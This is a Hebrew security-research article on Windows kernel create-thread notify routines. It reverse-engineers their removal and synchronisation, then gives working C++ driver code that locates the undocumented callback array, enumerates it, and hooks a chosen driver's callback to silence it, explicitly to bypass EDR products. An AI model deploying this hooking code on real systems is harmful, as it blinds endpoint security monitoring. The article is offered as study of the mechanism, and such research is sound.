 המשך מעניין 

שלא יצא לנו  create thread notify routines-בכל מקרה, הפונקציה היחידה שמתעסקת עם רשימת ה

 פרק האחרון-, והיא מעבירה אותנו לתתPsRemoveCreateThreadNotifyRoutineלחקור עד כה היא 

 .Notify Routinesמחיקת  -בחלק הרברסינג 
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 Notify Routineמחיקת 

היא  create thread notify routine, הפונקציה שאחראית על מחיקת MSDN-על פי התיעוד ב

PsRemoveCreateThreadNotifyRoutine נחקור אותה כעת ונבין כיצד היא עובדת, ואף נדבר על דדלוק .

 זו חתימתה:פוטנציאלי בה. ראשית, 

NTSTATUS PsRemoveCreateThreadNotifyRoutine( 

  PCREATE_THREAD_NOTIFY_ROUTINE NotifyRoutine 

); 

ומוחקת אותה. אם המחיקה התבצעה  notify routine-ניתן לראות שהפונקציה מקבלת את כתובת ה

שסופקה לא נמצאה, הפונקציה  notify routine-, ואם הSTATUS_SUCESSבהצלחה, הפונקציה מחזירה 

 .STATUS_PROCEDURE_NOT_FOUNDמחזירה 

 עכשיו כשהבנו בכלליות איך היא מתפקדת, נסתכל על הדיסאסמבלי שלה:  

 

 Normal Kernel-לכל ה disableבתחילת הפונקציה, היא שומרת מספר רגיסטרים, ומיד לאחר מכן עושה 

APCsכלומר, נכנסת ל ,-critical region . לדעתי, הסיבה שהיא עושה את זה היא שעד שהריצה על רשימת

של  suspension)בעקרון  suspendedלא תסתיים, אסור שהתרד יהיה  create thread notify routines-ה

 (.normal kernel APCתרד מתבצע באמצעות 
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הוא  callback objectשל  rundown protection, עשוי לקרות מצב בו suspendedאם התרד יהיה 

acquiredולכן לא יהיה ניתן למחוק את ה ,-callback object עד ל-resume  של התרד, דבר שעלול

 fastכמו  critical region-נכנסים ל implicitlyשהם  locksלהשפיע לרעה על ביצועי המערכת. יש בקרנל 

mutexes אך ,rundown protection  אינו כזה ולכן הפונקציה עושה את זהexplicitly. 

 נסקור כעת את המשך הפונקציה:

 

מתפקד בתור  ediבחלק זה של הפונקציה, ניתן לראות לולאה דומה לאלו שכבר יצא לנו לראות. רגיסטר 

-של הלולאה ומאופס בסוף החלק הקודם, ולאחר מכן יש שימוש בו בתור אינדקס ל counter-ה

PspCreateThreadNotifyRoutine ל. הפונקציה קוראת-ExReferenceCallBackBlock  ,המוכר והאהוב
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שבו זהה לזו שהועברה  notify routine-תקין, ואם כן, בודקת האם ה callbackבודקת האם היא תפסה 

ומקדמת את  ExDereferenceCallBackBlock-אינה זהה, היא קוראת ל notify routine-לפונקציה. אם ה

אכן זהה, היא מאפסת את המצביע  notify routine-את, אם הכמובן(. לעומת ז 44האינדקס בלולאה )עד 

-בצורה בטוחה על ידי קריאה ל PspCreateThreadNotifyRoutineבתוך  callback object-ל

ExCompareExchangeCallBackולאחר מכן קופצת ל ,-branch :הבא 

 

 notify-את הכמות של ה( 6-מכיל את הערך  r15d) 6-בחלק זה, ניתן לראות שהיא ראשית מקטינה ב

routines התואמות לסוג שמצוין ב-callback object  בצורה אטומית. יש כאן משחק מאוד יפה עם

conditional moves  שמאפשר ללאbranching  להחליט מאיזהcount  אחרי כן, 6להחסיר את הערך .

-על ידי קריאה ל critical region-, יוצאת מהExDereferenceCallBackBlock-הפונקציה קוראת ל

KeLeaveCrticialRegionThread  מה שמעיד שמה שראינו קודם זו קריאה(inline-ית ל- 

KeEnterCriticalRegion .) 

-, שממתינה שכל הExWaitForRundownProtectionRelease-מיד לאחר מכן, הפונקציה קוראת ל

acquires של ה-rundown protection  יהיוreleasedמכן מאפשרת למחוק את ה , ולאחר-callback object 

כפי שאתם זוכרים  -מעניין מאוד  deadlockבבטחה, בידיעה שהוא כבר לא בשימוש. כמו כן, יש כאן 

 acquire, הפונקציה עושה PspCallThreadNotifyRoutinesמתוך  notify routine-מקודם, לפני הקריאה ל

 notify routine-שלא תתבצע מחיקה ל -אנחנו רואים כאן בדיוק בשביל מה ש rundown protection-ל

מכיוון  deadlockעצמו, יווצר  notify routine-שכבר בשימוש. עם זאת, אם נקרא לפונקציה הזו מתוך ה

 rundown protection-לעולם לא תחזור מכיוון שה ExWaitForRundownProtectionRelease-שהקריאה ל

 לא לעשות את זה  MSDN-עצמה תחזור. בדיוק בגלל זה מצוין ב notify routine-לא ישתחרר עד שה
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, הפונקציה מחזירה את הזכרון של האובייקט releasedהוא  rundown protection-בכל מקרה, אחרי שה

-ובכך מגדירה את ערך ההחזרה ל eax. הפונקציה לאחר מכן מאפסת את Finita la Commedia-ו

STATUS_SUCCESS זאת, אם הפונקציה לא מוצאת את ה. לעומת-notify routine  44ומגיעה לאינדקס 

 הבא: branch-)שמחוץ לרשימה כבר(, היא מגיעה ל

 

ומגדירה את ערך ההחזרה להיות  critical region-הזה היא יוצאת מה branch-אז ניתן לראות שב 

STATUS_PROCEDURE_NOT_FOUNDשני ה .-branches  הללו מובילים לחלק הסיום של הפונקציה, שבו

 לרגיסטרים וחוזרת. restoreהפונקציה עושה 

 

 מסקנות סופיות

, הגיע הזמן לסכם את כל המסקנות create thread notify routinesלאחר שחקרנו את כל המערכת של 

 משלב הרברסינג, שאותן ניישם לאחר מכן בשלב המעקף:

  קיים אובייקט גנרי לכל סוגcallback  המכונהcallback object בתים, ומורכב מ 44. האובייקט בגודל-

EX_RUNDOWN_REFממצביע לפונקציה המטפלת ב ,-callbackומ ,-context  בתים  8בגודל

 .notify routine-שהמשמעות שלו תלויה בסוג ה

  כל סוג שלnotify routine המורכב ממצביעים ל 44רך בגודל נשמר על ידי המערכת במע-callback 

objects המערכים המתאימים לכל סוג .notify routine  הםPspCreateThreadNotifyRoutine ,

PspCreateProcessNotifyRoutineו ,-PspLoadImageNotifyRoutine יש לשים לב שהמערכים הללו .

 עשויים להתמלא לגמרי.

  קיימים שני סוגים שלcreate thread notify routines - רגילים ו-non-systemברגילים, ה .-notify 

routine תיקרא מתוך הקונטקסט של התרד היוצר, בעוד שב-non-systemה ,-notify routine  תיקרא

-של ה context-שמור בתור דגל ב notify routine-מתוך הקונטקסט של התרד החדש. סוג ה

callback objectם דגל נוסף ב. כמו כן, קיי-context  שלnotify routine המתאר האם ה-notify 

routine מעוניין לטפל גם ביצירת וסיום תרדים מ-subsystems שאינם ה-windows subsystem כמו ,

wslהמימוש של הסוגים מתבצע בעזרת קריאות ל .-PspCallThreadNotifyRoutines  עם פרמטרים

 ר ביצירת תרד או סיום, והתרד עצמו. התואמים את הקונטקסט, האם מדוב
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  לכל סוג שלnotify routineקיים גלובל המכיל את כמות ה ,-notify routines  מהסוג הזה. בעבור

ים הם -count-, הcreate thread notify routinesהסוגים השונים של 

PspCreateThreadNotifyRoutineCount ו-PspCreateThreadNotifyRoutineNonSystemCount. 

  קיים גלובל בשםPspNotifyEnableMask  המתאר איזהnotify routines  הםenabled  ואיזה לא. ביט

. בעת non-systemאת אלה מסוג  4הרגילים, וביט  create thread notify routines-מייצג את ה 3

מתבצעת בדיקה האם הביט הרלוונטי לסיטואציה דלוק, , PspCallThreadNotifyRoutines-הקריאה ל

 המתאימות נקראות. notify routines-ואם כן, ה

  הסינכרוניזציה שלcreate thread notify routines  במערך ה -מתמקדת בשתי חזיתות-notify 

routinesובאובייקטי ה ,-callback  עצמם. המערך הואlock-free לחלוטין, והוא מתבסס על שימוש ב-

interlocked compare and exchange  ,על מנת לשנות נתונים בו בצורה אטומית. לעומת זאת

 notify routine, על מנת שיהיה אפשרי לעשות מחיקה של lockעצמו דורש  callback-האובייקט של ה

 .rundown protectionהוא  callback-שנבחר לאובייקט ה lock-רק כאשר היא איננה בשימוש. ה

 

 

  



 
 

Windows Notify Routine Internals 

www.DigitalWhisper.co.il 

 41  2020 אוגוסט ,120גליון 
 

 Notify Routinesמשחקים עם 

עובד כמו שצריך, הגיע הזמן לעשות את  notify routinesכעת, כשאנחנו כבר מבינים כיצד המנגנון של 

ים שפיתחנו -PoC-ים. בסוף החלק הזה במאמר, נצליח לעקוף את שני ה-EDRלעקוף  -מה שבאמת כיף 

 . notify routinesאנומרציה על  -בחלק הראשון. נתחיל עם השלב הראשון 

לפני הכל, אני רוצה להצהיר משהו אחד. בחלק זה כל מה שאנחנו עושים זה משחק עם פיצ'רים של 

Windows  שהם לחלוטיןundocumented אמנם הבדיחה אומרת שהשלב הראשון במשחק עם .

undocumented features  הוא לא לעשות את זה, אבל לפעמים חייבים, ולפעמים זה כיף. אז אני עושה

כאן את המיטב על מנת לעשות את כל זה בצורה בטוחה ויציבה ככל האפשר שלא תגרום לכם לחלום על 

BSoD- ים, אך שימו לב שעדיין עשויים להיותrace conditions או מצבי קצה שלא שמתי אליהם, ולכן כדאי 

 . בכל מקרה, בואו נתחיל with a grain of saltשתקחו את זה 

 

 Notify Routinesאנומרציה על 

ולעשות להם הוקינג, עלינו להבין  notify routines-ובכן, לפני שאנחנו יכולים בכלל להתחיל לשחק עם ה

בצורה  PspCreateThreadNotifyRoutineכיצד למצוא אותם בזכרון ולרוץ עליהם. המטרה היא למצוא את 

בטוחה, ומשם כבר נוכל לעשות באמת מה שבא לנו. ישנן מספר דרכים לעשות זאת, אבל השאיפה שלי 

היא תמיד למצוא את הדרך הבטוחה ביותר. אחת הדרכים המקובלות היא למצוא בזמן ריצה את 

PspSetCreateThreadNotifyRoutine  על ידי ריצה עלPsSetCreateThreadNotifyRoutine  עד ההגעה

 ,lea rcx, חיפוש שלPspSetCreateThreadNotifyRoutineלקריאה, ולאחר מכן בתוך 

PspCreateThreadNotifyRoutine  על מנת למצוא את הכתובת. בעיניי, הדרך הזו אמנם עובדת, אך היא

ד לא יציבה. החלטתי לחפש לחלוטין לא בטוחה וסביר להניח שתישבר בין בילדים שונים ותהיה מאו

 בעצמי דרך אחרת ולהציע אלטרנטיבה שתעבוד בצורה יותר יציבה ובטוחה ככל האפשר.

, היושב בתור 44טוב, אז מה אנחנו יודעים על הרשימה הזו? קודם כל, אנחנו יודעים שהיא מערך בגודל 

. על מנת למצוא ntoskrnlשל  data section-. אם כך, נוכל לצמצם את החיפושים שלנו לntoskrnl-גלובל ב

 base-בכדי למצוא את הAuxKlibQueryModuleInformation -, נוכל להשתמש בdata section-את ה

address  שלntoskrnlולאחר מכן נפרסר אותו עד שנגיע ל ,-data section  שלו, דבר שאפשרי בשל

, יש data section-רגילים. בתוך ה section headersסטנדרטי לחלוטין, עם  PEהוא  ntoskrnl-העובדה ש

. הראשונה היא להשתמש באופסט קבוע, אבל PspCreateThreadNotifyRoutineמספר דרכים למצוא את 

וכפי שכבר ציינתי, דרכים כאלה לא אידאליות. האופציה  build dependantזה הופך את הדרך למאוד 

חדש, ולאחר מכן לעשות  notify routineליצור השנייה היא יותר מעניינת. מה שאני מציע זה 

dereference לכל כתובת ואלידית ב-data section  האופסט ב 8ולבדוק האם באופסט(-callback object 

 שהגדרנו.  notify routine-( הכתובת שמופיעה היא הכתובת של הnotify routine-של הכתובת של ה
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. האופציה הזו די יציבה. אמנם PspCreateThreadNotifyRoutine-אם כן, נוכל בקלות להבין שהגענו ל

כזה קומפקטי ושאין בו שום צורך  struct-עשוי להשתנות בין בילדים, אך כשמדובר ב struct-תאורטית ה

 , הסבירות יחסית נמוכה, ורוב הסיכויים שלא תהיה בעיה מהסוג הזה.alignment-ב

איך עושים לעזאזל ואלידציה לכתובות בקרנל? אז ואלידציה  -עם זאת, יש בעיה ענקית בהצעה הזו 

בכיף.  MmIsAddressValid-זה לא בעיה, אפשר להשתמש ב non-paged pool-לכתובות בקרנל מ

וסוגרים פינה. הבעיה  SEH-ואלידציה לכתובות יוזרמודיות מהקרנל זה גם לא בעיה, פשוט משתמשים ב

משתמשים בהן.  callback objects-, בדיוק אלה שהpaged pool-צפה כשמדובר בכתובות קרנליות מה

(, שואל אותו את השאלה הזו, והוא repnzאחרי יום שלם של תחושת מבוי סתום, אני פונה לאורי דמרי )

 . DPCהמאמר שלו לגבי בתגובה מציע לי לעבור על 

 unknown-מהר מאוד אני מגלה שגם הוא נתקל בעבר באותה בעיה, אך הוא מצא את הפוסט הבא ב

cheats - "Way Safe A In Address Kernel Unknown Read" הפוסט הבא מציג מספר דרכים מעניינות .

לקרוא מידע מכתובות לא ידועות בקרנל בצורה בטוחה, כשאחת מהן היא שימוש בפונקציה 

MmCopyMemory שנכנסה לקרנל מ-Windows 8.1 . 

כאשר  BSoDהפונקציה מאפשרת לקרוא מכתובת קרנלית שאינה ידועה בצורה בטוחה לחלוטין, ללא שום 

 הכתובת אינה תקינה. זו חתימת הפונקציה:

NTSTATUS MmCopyMemory( 

  PVOID           TargetAddress, 

  MM_COPY_ADDRESS SourceAddress, 

  SIZE_T          NumberOfBytes, 

  ULONG           Flags, 

  PSIZE_T         NumberOfBytesTransferred 

); 

הפונקציה בסה"כ פשוטה מאוד. היא מאפשרת לציין כתובת מקור ויעד, גודל העתקה, דגלים, וכתובת של 

שיקבל את הכמות של הבתים שהועברה. כמו כן, היא מחזירה סטטוס שמציין האם  SIZE_Tמשתנה מסוג 

 :Flags-וזה מצוין עבורנו. אלה הדגלים שיכולים להיות ב -ההעתקה התבצעה בהצלחה 

 

, אבל טוב לדעת MM_COPY_MEMORY_VIRTUAL-במקרה שלנו הכתובת היא וירטואלית ולכן נשתמש ב

 עבור פרויקטים ומחקרים עתידיים שהפונקציה תומכת גם בכתובות מקור פיזיות. 

 היא ההערה הבאה: Target Address-הערה חשובה אחת לגבי ה

"A pointer to a caller-supplied buffer. This buffer must be in nonpageable memory." 

https://repnz.github.io/posts/practical-reverse-engineering/dumping-dpc-queues/
https://www.unknowncheats.me/forum/anti-cheat-bypass/314342-read-unknown-kernel-address-safe.html
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, אבל את זה נעשה בלי בעיה עם non-paged pool-אז כפי שכתוב, עלינו לדאוג שהיעד הוא זכרון מה

 ייעודי שיהיה בשימוש עבור כל הריצה. structאלוקציה של 

, אך נעבור כעת על הפונקציות העיקריות בו. הפונקציה כאןכרגיל, המימוש המלא של הדרייבר נמצא 

, ומממשת את ההצעה PspCreateThreadNotifyRoutineהעיקרית הראשונה היא הפונקציה שמוצאת את 

 שהצגתי כעת. 

ללא החלק של בדיקת שגיאות, אך שימו לב שהוא קריטי! ללא בשל האורך שלה, אני מציג אותה כאן 

ים, אז שימו לב בדרייברים שלכם לבדוק כל שגיאה אפשרית. כמו כן, -BSoD-בדיקת שגיאות, הכל נגמר ב

 , על מנת שיהיה קל להבין כל חלק בה. זה החלק הראשון:snippetsהחלטתי לפרק אותה לכמה 

undocumented::PSP_CALLBACK_OBJECT** 

helpers::find_PspCreateThreadNotifyRoutine() 

{ 

    ULONG modules_size{ }; 

 

    auto status = ::AuxKlibQueryModuleInformation( 

        &modules_size, 

        sizeof(AUX_MODULE_EXTENDED_INFO), 

        nullptr 

    ); 

 

    auto modules = reinterpret_cast<AUX_MODULE_EXTENDED_INFO*>( 

        ::ExAllocatePoolWithTag(PagedPool, modules_size, 

config::kDriverTag)); 

 

    auto modules_amount = modules_size / 

sizeof(AUX_MODULE_EXTENDED_INFO); 

    RtlZeroMemory(modules, modules_size); 

 

    status = ::AuxKlibQueryModuleInformation( 

        &modules_size, 

        sizeof(AUX_MODULE_EXTENDED_INFO), 

        modules 

    ); 

    char ntos_name[] = "ntoskrnl.exe"; 

    void* ntos_base = nullptr; 

 

    for (size_t i = 0; i < modules_amount; i++) { 

        auto module = &modules[i]; 

        auto module_name = reinterpret_cast<char*>(module->FullPathName) 

+ module->FileNameOffset; 

 

        auto equal_bytes = ::RtlCompareMemory(ntos_name, module_name, 

sizeof(ntos_name)); 

        if (equal_bytes == sizeof(ntos_name)) { 

            ntos_base = module->BasicInfo.ImageBase; 

            break; 

        } 

    } 

 

    delete modules; 

https://github.com/omerk2511/NotifyRoutinesResearch/tree/master/NotifyRoutineEnumerationDriver
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כפי שניתן לראות, בחלק זה מתבצעת אנומרציה על כל הדרייברים שטעונים במערכת, עד הגעה לדרייבר 

 PspCreateThreadNotifyRoutineשלו  data section-מו, וב, שהוא למעשה הקרנל עצntoskrnl.exeבשם 

 . ntos_baseשלו נשמרת בתוך המשנה  base address-נמצאת. ברגע שהדרייבר הרלוונטי נמצא, ה

 בו: data section-בחלק הבא, נמצא את ה קליל עד כה.

    auto pe_base = reinterpret_cast<char*>(ntos_base); 

 

    auto dos_header = reinterpret_cast<PIMAGE_DOS_HEADER>(pe_base); 

    auto nt_headers = reinterpret_cast<PIMAGE_NT_HEADERS>(pe_base + 

dos_header->e_lfanew); 

 

    auto current_section_header = 

reinterpret_cast<PIMAGE_SECTION_HEADER>( 

        reinterpret_cast<char*>(nt_headers) + sizeof(ULONG) + 

        sizeof(IMAGE_FILE_HEADER) + nt_headers-

>FileHeader.SizeOfOptionalHeader); 

 

    char data_section_name[] = ".data"; 

    auto data_section_name_length = sizeof(data_section_name); 

 

    void* data_base = nullptr; 

    size_t data_size = 0; 

 

    for (auto i = 0; i < nt_headers->FileHeader.NumberOfSections; i++) { 

        auto current_section_name = 

reinterpret_cast<char*>(current_section_header->Name); 

        auto current_section_name_length = 

::strlen(current_section_name) + 1; 

 

        if (current_section_name_length == data_section_name_length) { 

            auto match = ::RtlCompareMemory(current_section_name, 

data_section_name, 

                current_section_name_length); 

 

            if (match == current_section_name_length) { 

                data_base = pe_base + current_section_header-

>VirtualAddress; 

                data_size = current_section_header->Misc.VirtualSize; 

 

                break; 

            } 

        } 

        current_section_header++; 

    } 

 

    void* data_end = reinterpret_cast<char*>(data_base) + data_size; 

 

. למי שלא מכיר את הפורמט כמו שצריך, ממליץ לעבור על PEקלאסי של  parsingבחלק זה, ניתן לראות 

על מנת  DOS header-כדי לקבל הבנה של כל חלק. בכל מקרה, אני בהתחלה מפרסר את ה הזההמאמר 

על מנת להגיע לרשימת  optional header-, ומשתמש בגודל של הNT headers-למצוא את האופסט של ה

 . section headers-ה

https://www.digitalwhisper.co.il/files/Zines/0x5A/DW90-3-PE.pdf
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, את data_base, ושומר את הכתובת שלו בשם data.בשם  section-אני רץ עליהם בלולאה עד הגעה ל

. בכל אלה נשתמש בחלק הבא, שהוא החלק data_end, ואת הסיום שלו בשם data_sizeהגודל שלו בשם 

 :data section-בתוך ה PspCreateThreadNotifyRoutineמציאת  -המשמעותי ביותר 

   status = 

::PsSetCreateThreadNotifyRoutine(test_create_thread_notify_routine); 

 

    auto test_callback = new (NonPagedPool, config::kDriverTag) 

undocumented::PSP_CALLBACK_OBJECT; 

    RtlZeroMemory(test_callback, 

sizeof(undocumented::PSP_CALLBACK_OBJECT)); 

 

    undocumented::PSP_CALLBACK_OBJECT** PspCreateThreadNotifyRoutine{ }; 

 

    for (auto current = 

reinterpret_cast<undocumented::PSP_CALLBACK_OBJECT**>(data_base); 

current < data_end; current++) { 

        MM_COPY_ADDRESS checked_address = { 0 }; 

        checked_address.VirtualAddress = 

reinterpret_cast<undocumented::PSP_CALLBACK_OBJECT*>( 

            *reinterpret_cast<ULONG64*>(current) & 0xfffffffffffffff0); 

 

        size_t bytes_copied{ }; 

 

        status = ::MmCopyMemory( 

            test_callback, 

            checked_address, 

            24, 

            MM_COPY_MEMORY_VIRTUAL, 

            &bytes_copied 

        ); 

 

        if (NT_SUCCESS(status)) { 

            if (test_callback->notify_routine == 

reinterpret_cast<PVOID>(&test_create_thread_notify_routine)) { 

                PspCreateThreadNotifyRoutine = current; 

 

                while (*(PspCreateThreadNotifyRoutine - 1) != nullptr) { 

                    PspCreateThreadNotifyRoutine--; 

                } 

 

                break; 

            } 

        } 

 

        RtlZeroMemory(test_callback, 

sizeof(undocumented::PSP_CALLBACK_OBJECT)); 

    } 

      

::PsRemoveCreateThreadNotifyRoutine(test_create_thread_notify_routine); 

    delete test_callback; 

 

    return PspCreateThreadNotifyRoutine; 

} 

 שמצביעה לפונקציה בדרייבר  create thread notify routineבחלק זה, ניתן לראות שראשית אני יוצר 

 שלי שלא עושה כלום. 
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עבור  dereferenceשאנסה לעשות לו  callback-עבור ה NonPagedPool-לאחר מכן, אני מאלקץ זכרון מה

 . data section-כל מצביע תקין ב

. אחרי כן, הכיף NonPagedPool-יהיה מה destination buffer-דורשת שה MmCopyMemoryכזכור, 

פשוטה, ומנסה לעשות  forבלולאת  ntoskrnlשל  data section-מתחיל. למעשה, אני רץ על כל כתובת ב

 notify routine-. אם הפונקציה צולחת, אני בודק האם הMmCopyMemoryבאמצעות  derefלכל ערך 

שיצרתי, ואם כן, אני מבין  notify routine-שיצרתי קודם זהה ל callback object-באובייקט שעשוי להיות ה

 . PspCreateThreadNotifyRoutineשתפסתי את הכתובת של איבר במערך 

כחי על מנת למצוא את תחילת הרשימה, אני רץ אחורה עד שאני מגיע למצב שהאיבר לפני האיבר הנו

, ובכך אני מבין שהגעתי לתחילת המערך, בדיוק לאחר המערך הקודם. זה עלול להיות null pointerהוא 

מעט מסוכן במצב בו יש "פרגמנטציה" ברשימה או שהמערך הקודם מלא לחלוטין, אך במרבית המקרים 

למצוא את  זה לא קרוב להיות המצב, ולכן אפשר לצאת מההנחה הזו יחסית בבטחון. ברגע שסיימתי

PspCreateThreadNotifyRoutineאני מוחק את ה ,-notify routine  שיצרתי, מוחק אתtest_callback ,

ואמור להיבדק  nullptrומחזיר את הערך שנמצא. כמובן שבמידה ולא נמצא המערך, הערך המוחזר יכיל 

 על ידי הפונקציה הקוראת.

 יה שמבצעת אנומרציה על הרשימה:הפונקציה המשמעותית השנייה במימוש היא הפונקצ

void 

helpers::enumerate_create_thread_notify_routines(undocumented::PSP_CALLB

ACK_OBJECT** PspCreateThreadNotifyRoutine) 

{ 

    for (auto i = 0; i < 64; i++) { 

        auto callback = 

reinterpret_cast<undocumented::PSP_CALLBACK_OBJECT*>( 

            reinterpret_cast<ULONG64>(PspCreateThreadNotifyRoutine[i]) & 

0xfffffffffffffff0); 

 

        if (callback) { 

            if (::ExAcquireRundownProtection(&callback-

>rundown_protection)) { 

                char* driver_name = 

helpers::get_name_of_owning_driver(callback->notify_routine); 

 

                if (driver_name) { 

                    KdPrint(("#%d - Create Thread Notify Routine @0x%p 

(%s).\n", i + 1, callback->notify_routine, driver_name)); 

                    delete driver_name; 

                } else { 

                    KdPrint(("#%d - Create Thread Notify Routine 

@0x%p.\n", i + 1, callback->notify_routine)); 

                } 

 

                ::ExReleaseRundownProtection(&callback-

>rundown_protection); 

            } 

        } 

    } 

} 
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במספרPspCreateThreadNotifyRoutine (44  ,)ים בתוך הרשימה -callback-הפונקציה רצה על כל ה

על מנת שבזמן  rundown protection-ל acquire(, היא עושה nullptrקיים )שאינו  callbackועבור כל 

ההדפסה הוא לא ימחק, מדפיסה את הכתובת שלו ואת שם הדרייבר שלו )אם היא מצליחה למצוא אותו(, 

. הפונקציה שמוצאת את שם הדרייבר היא נורא rundown protection-ל releaseולאחר מכן עושה 

-פשוטה, כאשר בפועל היא רצה על כל הדרייברים במערכת בעזרת קריאה ל

AuxKlibQueryModuleInformationבודקת בעבור כל אחד מהם האם הכתובת שהועברה היא חלק מה ,-

address space .שלו, ואם כן, מחזירה את השם שלו 

 טוב, אז נראה שיש לנו משהו שאמור לעבוד. בואו נריץ ונראה מה קורה:

ת בצורה בטוחה, בלי שום במערכ create thread notify routines-פצצה. אנחנו מצליחים לרוץ על כל ה

BSoD  הוקינג של  -או התקף לב. נעבור עכשיו לחלק המגניב באמתNotify Routines. 

 

 Notify Routinesהוקינג של 

להצליח  -במערכת, ועכשיו האתגר הוא כזה  notify routinesטוב, אז כבר הצלחנו לעשות אנומרציה על 

ים שמימשנו -PoC-שנצליח לעשות את זה, נצליח גם לעקוף את ה. ברגע notify routines-לעשות הוקינג ל

 בחלק הראשון בלי בעיה. זו המטרה בחלק הזה.

בסה"כ אנחנו צריכים  -תכל'ס, ברגע שכבר סיימנו עם החלק של האנומרציה, החלק של ההוקינג קליל 

 notify-ע של הלרוץ על הרשימה בדיוק כמו שעשינו בחלק של האנומרציה, ופשוט להחליף את המצבי

routine ב-callback objects  .שנרצה לעשות להם הוק 

 , שכעת נעבור על החלקים העיקריים בו. החלק המעניין הראשון הואהזה PoC-זה בדיוק מה שעושה ה

 .DriverEntry-פונקציית ההוקינג, שנקראת ב

  

https://github.com/omerk2511/NotifyRoutinesResearch/tree/master/NotifyRoutineHookingDriver
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 זה המימוש שלה:

NTSTATUS hooking::hook_notify_routine(char* hooked_driver_name) 

{ 

  if (hooking::hooked_function) { 

    return STATUS_ALREADY_INITIALIZED; 

  } 

 

  for (auto i = 0; i < 64; i++) { 

    auto callback = 

reinterpret_cast<undocumented::PSP_CALLBACK_OBJECT*>( 

      reinterpret_cast<ULONG64>(g_PspCreateThreadNotifyRoutine[i]) & 

0xfffffffffffffff0); 

 

    if (callback) { 

      if (::ExAcquireRundownProtection(&callback->rundown_protection)) { 

        char* driver_name = helpers::get_name_of_owning_driver(callback-

>notify_routine); 

 

        if (driver_name) { 

          if (::strlen(hooked_driver_name) == ::strlen(driver_name)) { 

            auto equal_length = ::RtlCompareMemory(hooked_driver_name, 

driver_name, ::strlen(driver_name)); 

             

            if (equal_length == ::strlen(driver_name)) { 

              hooking::hooked_function = 

reinterpret_cast<PCREATE_THREAD_NOTIFY_ROUTINE>( 

                callback->notify_routine); 

 

              hooking::context = callback->context; 

 

              ::InterlockedExchange64( 

                reinterpret_cast<volatile LONG64*>(&callback-

>notify_routine), 

                reinterpret_cast<LONG64>(&hooking::hook_function) 

              ); 

 

              ::ExReleaseRundownProtection(&callback-

>rundown_protection); 

              delete driver_name; 

 

              return STATUS_SUCCESS; 

            } 

          } 

 

          delete driver_name; 

        } 

 

        ::ExReleaseRundownProtection(&callback->rundown_protection); 

      } 

    } 

  } 

 

  return STATUS_NOT_FOUND; 

} 

 

. STATUS_ALREADY_INITIALIZEDהפונקציה ראשית בודקת האם כבר נעשה הוקינג, ואם כן, היא מחזירה 

בצורה בטוחה בדומה לדרייבר  notify routines-אחרת, היא תתחיל לבצע אנומרציה על רשימת ה
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שהדרייבר שמכיל אותה זהה לדרייבר שהועבר לפונקציה,  notify routineהאנומרציה, וכאשר היא מוצאת 

 היא מבצעת את ההוקינג עצמו. 

שלו. לאחר מכן, היא  context-המקורי ואת ה notify routine-ראשית, היא שומרת את הכתובת של ה

. אחרי כן, היא hook-ת של פונקציית המחליפה בצורה אטומית את השם הכתובת המקורית עם הכתוב

. אם האנומרציה STATUS_SUCCESSוחוזרת עם  callback-של ה rundown protection-ל releaseעושה 

בתוך הדרייבר ששמו הועבר, הפונקציה תחזור עם  notify routineהסתיימה ולא נמצאה 

STATUS_NOT_FOUND . 

 במקום המקורית:כעת נבחן את מימוש פונקציית ההוק שרצה 

void hooking::hook_function(HANDLE process_id, HANDLE thread_id, BOOLEAN 

create) 

{ 

    if (hooking::hooked_function && !hooking::disabled) { 

        hooking::hooked_function(process_id, thread_id, create); 

    } 

} 

 hooking::disabledזו פונקציה פשוטה מאוד. היא בודקת האם נעשה הוקינג והאם המשתנה הבוליאני 

אינו דלוק, ואם זה המצב, קוראת לפונקציה המקורית. אחרת, היא לא תעשה כלום. כך אנו יכולים לעשות 

disable  לכלnotify routine  .שנרצה 

כיצד  -, מכיוון שאיתה בא אתגר גדול מאוד unhooking-הפונקציה המעניינת הבאה היא פונקציית ה

של  unloading-ייקרא עם ה unhook-אפשר לעשות אותה בצורה בטוחה? בסופו של דבר בדרך כלל ה

די  BSoDשלא רצו עדיין, יכול להיות  hooked-ה callback object-הדרייבר, ובמידה ויש עדיין שימושים ב

 קרנל.ב access violationבקלות, עם 

מה שניתן לעשות זה להתבסס על זה שאנחנו יודעים איך הקרנל מסנכרן את האובייקטים, ליצור אחד 

, hooked-ה callback object-חדש שמצביע לפונקציה המקורית, להחליף את הפוינטר אליו עם הפוינטר ל

טוב, אבל זה  . זה נשמעhooked-על האובייקט ה ExWaitForRundownProtectionReleaseואז לבצע 

 . documentedמסורבל יחסית, ומתבסס על המון דברים שאינם 

ולסמוך  hooked-ה notify routine-ל removeפשוט לעשות  -במקום זה, אפשר ללכת בנתיב בסיסי יותר 

המקורית בחזרה. זה פתרון הרבה  notify routine-ל setעל הקרנל שיסנכרן את הכל כמו שצריך, ולעשות 

 זה המימוש של הפתרון הנ"ל:. documentedוח ומסתמך על דברים שהם כמה שיותר יותר בט

void hooking::unhook_notify_routine() 

{ 

    if (hooking::hooked_function) { 

        ::PsRemoveCreateThreadNotifyRoutine(hooking::hook_function); 

 

        switch (hooking::context) { 

        case 0: 
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            ::PsSetCreateThreadNotifyRoutine(hooking::hooked_function); 

            break; 

 

        case 1: 

            

::PsSetCreateThreadNotifyRoutineEx(PsCreateThreadNotifyNonSystem, 

hooking::hooked_function); 

            break; 

 

        case 2: 

            

::PsSetCreateThreadNotifyRoutineEx(PsCreateThreadNotifySubsystems, 

hooking::hooked_function); 

            break; 

 

        default: 

            break; 

        } 

 

        hooking::hooked_function = nullptr; 

        hooking::context = 0; 

    } 

} 

 hook-על ה PsRemoveCreateThreadNotifyRoutine-כפי שתיארתי, הפונקציה ראשית קוראת ל

function ולאחר מכן יוצרת את הפונקציה המקורית עם הקריאה לפוקציה המתאימה עם הפלאגים ,

השמור. זה יחסית בטוח, ולי אישית זה העביר את רוב התקפי הלב בכל  context-המתאימים בהתאם ל

unloading .של הדרייבר 

על מנת לבדוק האם  LibraryHookingDriver.sysהחלטתי לעשות הוק על  DriverEntry-בפונקצית ה

הדרייבר החדש מאפשר מעקף של הדרייבר שפותח בחלק הראשון. ראשית נטען את 

LibraryHookingDriver  ונראה שאנחנו מקבליםpopups :כרגיל 
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על מנת לראות האם הוא מצליח לעקוף את  NotifyRoutineHookingDriverכעת, נטען את 

LibraryHookingDriver: 

 

ונבדוק  unload. כעת נעשה LibraryHookingDriver, משמע הצלחנו להביס את popupsבום. אין שום 

 חוזר לעבוד כרגיל: LibraryHookingDriver-וש BSoDשאין 

 

